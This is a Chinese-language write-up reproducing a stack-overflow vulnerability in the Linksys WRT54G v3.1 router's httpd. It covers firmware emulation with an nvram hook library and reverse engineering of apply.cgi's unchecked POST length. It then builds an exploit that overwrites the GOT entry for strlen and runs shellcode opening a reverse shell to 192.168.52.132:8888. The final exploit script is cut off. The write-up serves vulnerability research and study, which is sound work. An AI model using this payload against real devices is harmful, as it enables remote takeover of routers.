Linksys 栈溢出漏洞复现
| 0 | 前言
依然是一道关于hook
使用方法的复现
此次复现记录来源于一本书家用路由器0day漏洞挖掘技术
同时使用的攻击手法是一种特殊的栈溢出
| 1 | 固件下载&解包
下载地址
固件解包
1 | binwalk -e --preserve-symlinks WRT54GV3.1_4.00.7_US_code.bin |
| 2 | 环境修复
可以看到有很多关于nvram
函数的调用,我们使用qemu
模拟不可能有nvram
,所以要使用hook
劫持这些函数
工具 zcutlip
修复NVRAM
下载地址 https://github.com/zcutlip/nvram-faker.git
本次的固件还包含了get_mac_from_ip
,这个函数我们也要劫持,所以在nvram-faker.c
中加入
1 | int fork(void) |
再把这两个文件添加到nvram-faker.h
中
然后我们需要选择合适的编译器,因为httpd
服务使用mipsel
中的uclibc
库编译,我们的hook.so
必须保持一致
有个窍门,我们可以使用固件名称
+GPL Source
进行搜索,厂商很可能提供了对应版本的工具链
我们将对应固件的工具链下载
并将buildmipsel.sh
中编译器的路径修改为官方提供的编译器
1 | !/bin/sh |
由于我们生成的libnvram-faker.so
包含的内容很少,可以使用最简单的手段编译
得到的.so
文件便可以劫持nvram
此外进程还需要打开var/run/httpd.pid
我们需要保证这个路径存在:mkdir ./var/;mkdir ./var/run
即可
此时可以正常运行
| 3 | 逆向分析
根据漏洞报告定位httpd
,并将其放入IDA
中
1 | zer00ne@zer00ne:~/Desktop/cve_review/stage1/linksys/_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root$ find ./ -name "httpd" |
端口监听判断
进入main
函数,可以初步判断这是个socket
服务
根据bind
函数的位置,可以判断出这个进程监听了80
端口
流程判断
通过socket
相关函数可以大概判断出业务处理函数
进入work
函数,看到报文接收函数,可以看到允许接受
报文格式
如果对着gdb
硬调报文解析工作量是非常大的,我在这里补充一下报文格式(HTTP/1.1 的 POST 报文格式规范)
1 | POST {target_path} HTTP/1.1\r\n |
target_path
:希望访问的服务
target_ip
:服务器的IP
回到elf中,在while
循环中通过fgets
实现了对报文各个字段的分割
还过滤了路径穿越攻击
最终来到了服务处理,根据target_path
调用不同的函数指针,可以看到这里有很多cgi
服务,我们的目标为apply.cgi
调用处,第三个参数的来源为
1 | else if ( !strncasecmp(v5, "Content-Length:", 15) ) |
这里没有对报文长度做任何限制,在apply.cgi中实现了对报文的提取,同样也没有任何对长度的检查
1 | int __fastcall do_apply_post(int a1, int a2, int a3) |
其中post_buf
位于bss
段,在elf
中的布局大概是
1 | +--------------------------+ |
刚刚好在fread
读入后立马调用了strlen
,我们便可以覆盖got.strlen
达到控执行流的目的
由于mips
架构不存咋NX
这一说法,所以bss
上拥有x
权限,我们可以将shellcode
写在bss
上,再将got
写入bss
的地址
于是我们可以构造出如下payload
1 | payload = (b"\x00"*(0x200-len(shellcode))+shellcode).ljust(10000,b"\x00")+p32(0x10001AD8)*0x1000# |
其中最后将payload
填入request
中,得到最终请求体
1 | shellcode = shellcraft.connect("192.168.52.132",8888) + shellcraft.dupsh() |
| 4 | 攻击流程
监听8888
端口—>运行httpd
服务–>发送EXP
成功将shell
弹出
| 5 | EXP
1 | from pwn import * |